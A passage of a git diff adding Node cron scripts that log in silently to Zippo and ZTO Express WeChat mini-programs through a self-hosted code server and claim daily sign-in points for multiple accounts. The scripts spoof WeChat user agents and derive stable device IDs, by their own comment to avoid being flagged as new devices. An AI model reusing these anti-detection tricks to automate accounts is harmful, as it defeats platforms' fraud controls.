(r = Object(r)[t], void 0 === r) return s; return r } lodash_set (t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata (t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata (t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval (t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval (t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv (t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get (t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post (t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time (t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg (e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log (...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr (t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait (t) { return new Promise(e => setTimeout(e, t)) } done (t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("xxxxxx") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/wxapp/zippo.js b/wxapp/zippo.js new file mode 100644 index 00000000..6d9e3d4a --- /dev/null +++ b/wxapp/zippo.js @@ -0,0 +1,246 @@ +/* +------------------------------------------ +@Description: zippo会员 - 微信小程序静默登录 + 每日签到 +cron: 44 8 * * * +------------------------------------------ +变量名:zippo +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxaa75ffd8c2d75da7,host wx-center.zippo.com.cn): + 这家没有业务成功码:成功就是 HTTP 2xx(登录/签到都回 **201**)且响应体里没有 code; + 失败才带 code,且**放在 4xx 的 JSON 体里** —— 重复签到 = HTTP 400 + {"code":"already_signed","message":"今日已签到"},所以不能在非 200 时直接抛。 + 登录 POST /api/users/auth {code, scene:"1001", platform:"wxmp"} + -> {token(JWT), sid, openId, unionId};之后 Authorization: Bearer (带空格) + 固定头 x-app-id:zippo / x-platform:wxmp / x-platform-id: / x-platform-env:release + 资料 GET /api/users/profile -> memberLevel/phone(已脱敏)/nickname + 日历 GET /api/daily-signin/month?month=YYYY-MM -> days[].isSignIn(month 必须是 YYYY-MM, + 发 YYYY-MM-DD 会回 400 "month must be a Date instance")(只读,脚本未用) + 签到 POST /api/daily-signin {} -> rewards[].count(每日 1 分,连签 7/30 天另有奖励) +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("zippo会员"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "zippo"; +const MINI_APP_ID = "wxaa75ffd8c2d75da7"; +const BASE = "https://wx-center.zippo.com.cn"; + +const TOKEN_CACHE_FILE = path.join(__dirname, "zippo_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/api/users/auth"; +const EP_SIGN = "/api/daily-signin"; +const EP_USER = "/api/users/profile"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +/** 该后端的成功判定 */ +const isOk = (res) => !res?.code; +const msgOf = (res) => res?.message || res?.message || res?.msg || short(res); +/** 每天跑一次,「已签到」必须当成成功而不是失败 */ +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新|401/i.test(String(t || "")); +/** 账号态:这个微信号还没在该平台注册/绑定 —— 不是脚本缺陷,别打 ❌ */ +const isNotRegistered = (t) => /未注册|未绑定|请先注册|请先绑定|not regist/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.signedToday = false; + // 设备号按 openid 稳定派生:同一账号每次跑都一样,避免被当成新设备 + this.deviceId = "d_" + require("crypto").createHash("md5") + .update(String(this.account.openid || raw)).digest("hex").slice(0, 16); + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = null, withAuth = true, method = "POST", query = null, epHeaders = null) { + const isForm = false; + const headers = { + "Content-Type": isForm ? "application/x-www-form-urlencoded" : "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + Accept: "application/json, text/plain, */*", + xweb_xhr: "1", + "x-app-id": "zippo", + "x-platform": "wxmp", + "x-platform-id": MINI_APP_ID, + "x-platform-env": "release", + ...(epHeaders || {}), + }; + if (withAuth && this.token) headers["Authorization"] = `Bearer ${this.token}`; + const payload = body || {}; + + const isGet = String(method).toUpperCase() === "GET"; + // query 独立于 body:有些接口是 POST 但参数只在查询串上 + const qs = query ? form(query) : (isGet && Object.keys(payload).length ? form(payload) : ""); + const res = await axios.request({ + method: isGet ? "GET" : "POST", + url: `${BASE}${apiPath}${qs ? `?${qs}` : ""}`, + data: isGet ? undefined : (isForm ? form(payload) : payload), + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status < 200 || res.status >= 300) { + // 业务结论常常躺在 4xx/5xx 的 JSON 体里("今日已签到" 见过 400 也见过 500), + // 有 JSON 体就交给下游按业务码判,别在这一层抛掉 + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 wx_server 的取码限流会被误报成目标站登录失败。 + */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code, scene: "1001", platform: "wxmp" }, false, "POST", null, null); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = res.token || ""; + + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + if (!EP_USER) return true; + const res = await this.request(EP_USER, {}, true, "GET", null, null); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + // 有的家没有 data/body 包装,响应体本身就是数据(zippo 的 profile 就是) + const d = res.data || res.datas || res.body || res || {}; + if (needLog) { + this.log(`会员: ${d.memberLevel || "-"}${d.phone ? ` ${d.phone}` : ""}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, {}, true, "POST", null, null); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(msgOf(res))) { + return this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在该平台注册会员,先在小程序里注册一次再跑`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/ztkd.js b/wxapp/ztkd.js new file mode 100644 index 00000000..27bdbb49 --- /dev/null +++ b/wxapp/ztkd.js @@ -0,0 +1,263 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.09 +@Description: 中通快递 登录/积分查询/签到 +cron: 20 8 * * * +------------------------------------------ +变量名:ztkd +变量值:wx_server 里的 openid,多账号用 & 或换行 + +也支持: +1. token= +2. {"openid":"xxx"} +3. {"token":"xxx","openId":"xxx"} + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("中通快递"); +const axios = require("axios"); + +const CK_NAME = "ztkd"; +const APP = { name: "中通快递", appid: "wx7ddec43d9d27276a", version: 670 }; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; +const MAIN_HOST = "https://hdgateway.zto.com/"; +const MEMBER_HOST = "https://membergateway.zto.com/"; +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +function splitAccounts(value = "") { + return String(value) + .split(/\n|&/) + .map((item) => item.trim()) + .filter(Boolean); +} + +function short(value, max = 320) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function maskPhone(phone = "") { + return String(phone || "").replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function maskToken(token = "") { + const value = String(token || ""); + if (!value) return ""; + return value.length > 18 ? `${value.slice(0, 10)}***${value.slice(-8)}` : `${value.slice(0, 4)}***`; +} + +function pad(num) { + return String(num).padStart(2, "0"); +} + +function formatDate(date) { + return `${date.getFullYear()}-${pad(date.getMonth() + 1)}-${pad(date.getDate())}`; +} + +function parseAccount(raw) { + const text = String(raw || "").trim(); + if (!text) return {}; + if (/^token=/i.test(text)) return { raw: text, token: text.replace(/^token=/i, "").trim() }; + if (text.startsWith("{")) { + const data = JSON.parse(text); + return { + raw: text, + openid: data.openid || data.openId || data.wxOpenid || "", + openId: data.ztoOpenId || data.openId || "", + token: data.token || data.xToken || "", + remark: data.remark || data.name || "", + }; + } + return { raw: text, openid: text }; +} + +async function request(options) { + const res = await axios.request({ + timeout: 20000, + validateStatus: () => true, + ...options, + headers: { + "User-Agent": USER_AGENT, + Accept: "application/json, text/plain, */*", + ...(options.headers || {}), + }, + }); + return { status: res.status, data: res.data || {}, headers: res.headers || {} }; +} + +async function getWxCode(openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth,无法从 wx_server 获取 code"); + const { status, data } = await request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers: { auth: WX_AUTH, "content-type": "application/json" }, + data: { appid: APP.appid, openid }, + }); + const code = data?.data?.code || data?.code; + if (status !== 200 || !code) throw new Error(`获取code失败 HTTP ${status}: ${short(data)}`); + return code; +} + +class ZtoExpress { + constructor(account, index) { + this.index = index; + this.account = parseAccount(account); + this.token = this.account.token || ""; + this.openId = this.account.openId || ""; + this.user = {}; + this.today = {}; + } + + headers(extra = {}) { + return { + "content-type": "application/json", + "x-token": this.token || "", + "x-version": "V8.153.1", + "x-clientCode": "wechatMiniZtoHelper", + "x-oid": this.openId || "", + "x-ys-dt": "", + "x-sv-v": "0.22.0", + Referer: `https://servicewechat.com/${APP.appid}/${APP.version}/page-frame.html`, + ...extra, + }; + } + + async api(host, apiPath, data = {}, allowFail = false) { + const res = await request({ + method: "POST", + url: `${host}${apiPath}`, + headers: this.headers(), + data, + }); + if (res.status !== 200 && !allowFail) throw new Error(`HTTP ${res.status}: ${short(res.data)}`); + return res.data; + } + + async login() { + if (this.token) { + $.log(`账号[${this.index}] 使用变量token: ${maskToken(this.token)}`); + return; + } + if (!this.account.openid) throw new Error("未配置 openid 或 token"); + + const code = await getWxCode(this.account.openid); + const res = await this.api(MAIN_HOST, "auth_wechatMini_authByCode", { code }, true); + const data = res.result || res.data || {}; + if (!data.token) throw new Error(`登录失败: ${short(res)}`); + + this.token = data.token; + this.openId = data.openId || this.openId; + this.user = data; + $.log( + `登录:成功 userId=${data.userId || "未知"} 手机=${maskPhone(data.mobile || "") || "未知"} openId=${data.openId || "未知"}` + ); + } + + async queryPoints() { + const res = await this.api(MEMBER_HOST, "member/getMemberPoints", {}, true); + if (!res.success && !res.data) { + $.log(`积分查询:失败,${short(res)}`); + return; + } + const data = res.data || {}; + $.log(`积分查询:当前积分=${data.totalPoint ?? "未知"},即将过期=${data.overDuePoint ?? 0}`); + } + + signRange() { + const today = new Date(); + const start = new Date(today); + const end = new Date(today); + start.setDate(today.getDate() - 3); + end.setDate(today.getDate() + 3); + return { + startDate: `${formatDate(start)} 00:00:00`, + endDate: `${formatDate(end)} 23:59:59`, + todayDate: formatDate(today), + }; + } + + async querySignInfo(prefix = "签到信息") { + const range = this.signRange(); + const res = await this.api( + MEMBER_HOST, + "member/activity/queryRecentSign", + { startDate: range.startDate, endDate: range.endDate }, + true + ); + const data = res.result || res.data || {}; + const list = Array.isArray(data.dailyList) ? data.dailyList : []; + this.today = list.find((item) => item.isToday || item.date === range.todayDate) || {}; + $.log( + `${prefix}:今日${this.today.isSigned ? "已签到" : "未签到"},可得积分=${this.today.pointsEarned ?? "未知"},连续=${data.continuousDays ?? 0}天,总积分=${data.totalPoints ?? "未知"}` + ); + return data; + } + + async sign() { + if (this.today?.isSigned) { + $.log("签到:今日已签到"); + return; + } + const date = this.today?.date || formatDate(new Date()); + const res = await this.api( + MEMBER_HOST, + "member/activity/signIn", + { + signType: "TODAY_SIGN", + signDate: `${date} 00:00:00`, + supplementaryScene: null, + }, + true + ); + if (res.status || res.success || res.result) { + const data = res.result || res.data || {}; + $.log(`签到:成功,获得=${data.pointsEarned ?? "未知"}积分,奖励=${data.awardType || "未知"}`); + return; + } + const msg = res.message || res.errMessage || short(res); + if (/已签|重复|already/i.test(String(msg))) $.log(`签到:今日已签到,${msg}`); + else $.log(`签到:失败,${short(res)}`); + } + + async run() { + $.log(`\n========== ${APP.name} 账号[${this.index}] ${this.account.remark || this.account.openid || "token"} ==========`); + await this.login(); + await this.queryPoints(); + await this.querySignInfo("签到前"); + await this.sign(); + await this.querySignInfo("签到后"); + } +} + +(async () => { + const accounts = splitAccounts(process.env[CK_NAME] || process.env.wx_openid || ""); + if (!accounts.length) { + $.log(`未配置 ${CK_NAME}`); + await $.done(); + return; + } + + $.log(`共找到${accounts.length}个账号`); + for (let i = 0; i < accounts.length; i++) { + const runner = new ZtoExpress(accounts[i], i + 1); + try { + await runner.run(); + } catch (e) { + $.log(`账号[${i + 1}] 执行失败:${e.message || e}`); + } + await $.wait(800); + } + await $.done(); +})().catch(async (e) => { + $.log(`脚本异常:${e.stack || e.message || e}`); + await $.done(); +}); diff --git 